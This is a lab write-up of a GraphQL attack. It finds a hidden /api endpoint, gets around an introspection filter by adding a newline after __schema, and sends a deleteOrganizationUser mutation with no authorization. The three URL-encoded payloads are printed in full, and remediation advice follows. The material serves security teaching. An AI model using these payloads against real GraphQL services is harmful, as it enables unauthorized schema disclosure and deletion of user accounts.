SCENARIO

The application contains some user management functions that are powered by a hidden GraphQL endpoint won't be able to find this endpoint by simply clicking pages in the site as the endpoint also has some defences against introspection. We will try to exploit this vulnerability and get the access to administrator’s account.

**PROCEDURE**

1. Open the web application and send the request to BurpSuite’s Intruder from the Proxy tab and mount a brute force attack with all the common GraphQL endpoint suffixes and inspect the results.
2. We see that when we send a GET request to **/api** the response contains a **"Query not present"** error which means that there may be a GraphQL endpoint responding to GET requests at this location.
3. Now try sending the request to the given URL Payload 1 using the BurpSuite’s Repeater and we see that it confirms that the endpoint is using GraphQL.
4. Now try sending the request to the given URL Payload 2 using the BurpSuite’s Repeater and we see that the response now includes full introspection details. This is because the server is configured to exclude queries matching the regex "\_\_schema{", which the query no longer matches even though it is still a valid introspection query.
5. Then save the response in a JSON file and use InQL Scanner to load that JSON file to browse the schema and find the getUser query.
6. Copy that query and send the fake login request with fake credentials to BurpSuite’s Repeater.
7. Then send the final Payload 3 to the server and we see that we successfully deleted the user from the organisation’s server.

PAYLOAD

1. /api?query=query{\_\_typename}
2. /api?query=query+IntrospectionQuery+%7B%0D%0A++\_\_schema%0a+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+\_\_Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+\_\_InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+\_\_Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A
3. /api?query=mutation+%7B%0A%09deleteOrganizationUser%28input%3A%7Bid%3A+3%7D%29+%7B%0A%09%09user+%7B%0A%09%09%09id%0A%09%09%7D%0A%09%7D%0A%7D

REMEDIATION

1. Authorization Checks: Ensure that every GraphQL query or mutation is accompanied by server-side authorization checks. Users should only be able to perform actions or retrieve data they have permissions for. For instance, deleting users or accessing sensitive data should be restricted to authorized roles.
2. Limit GraphQL Functionality: It's not a requirement for every GraphQL API to support introspection or every type of query/mutation. Turn off introspection in production and expose only the necessary functionality.
3. Use a GraphQL Security Library: Utilize libraries or tools specifically designed for securing GraphQL endpoints, such as graphql-shield.
4. Rate Limiting: Implement rate limiting on your GraphQL endpoint to prevent abuse.
5. Depth Limiting: Prevent overly nested queries by implementing a depth limit.
6. Input Validation: Enforce strong typing and validation on input variables.
7. Obfuscate GraphQL Error Messages: Do not expose verbose error messages. Implement custom error messages that give away nothing about the backend structure.